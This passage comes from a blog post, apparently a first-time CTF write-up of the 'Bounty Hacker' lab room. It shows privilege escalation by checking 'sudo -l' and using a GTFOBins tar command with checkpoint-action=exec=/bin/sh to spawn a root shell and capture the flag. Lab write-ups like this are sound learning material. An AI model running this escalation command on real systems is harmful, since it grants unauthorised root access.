in:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*nLZOXDavi44WeYQtu35VkA.png" /></figure><p>Nice!</p><p>Our next goal is <strong>root</strong>, but where do we start? The first thing I normally do is to check which commands the current user has access to. Here’s how we do it:</p><blockquote>sudo -l</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Tt2b-v9_XqDRne1H.png" /><figcaption>Enter the previously found password</figcaption></figure><p>We can see, that we can run <strong>/bin/tar</strong> as<strong> root</strong>.</p><p>Let’s check <a href="https://gtfobins.github.io/">gtfobins</a> if there are any exploits available for <strong>tar:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/0*53SBRGx3C8oVfjGg.png" /></figure><p>And yes, there is one available. You can find it <a href="https://gtfobins.github.io/gtfobins/tar/">here</a>.</p><p>Scrolling to the end, we come across this command fitting our situation:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/846/0*0gpyXIdcgXM4CxPp.png" /></figure><p>Let’s give it a shot:</p><blockquote>sudo tar -cf /dev/null /dev/null — checkpoint=1 — checkpoint-action=exec=/bin/sh</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/994/0*teeT-z_qmzS_yj_U.png" /></figure><p>Success! Running <strong>whoami</strong> shows that we are now <strong>root</strong>! The only thing left to do is to grab the root flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/247/1*1eP_feY8KisoYknoaMJCrQ.png" /></figure><p>And to paste it into the qestion:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SpMDUBJiImoEairxHfPp-w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/560/1*gvCB2TN6GUWNom4MLQZAyg.png" /></figure><p>We did it! We completed the <strong>Bounty Hacker</strong> room.</p><p>In conclusion, this was a nice &amp; easy room that didn’t take long.</p><p>In this approach, we ignored the website on port 80 and the enumeration of it, since we instantly found a valid way in. This is very rare and you shouldn’t do it, especially in CTFs stuff like this might just be a rabbit hole and you’re stuck wasting time. So always do all of your enumeration!</p><p>This was my first writeup and I hope you enjoyed it, feel free to leave feedback.</p><p>Cheers!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f828230d1866" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>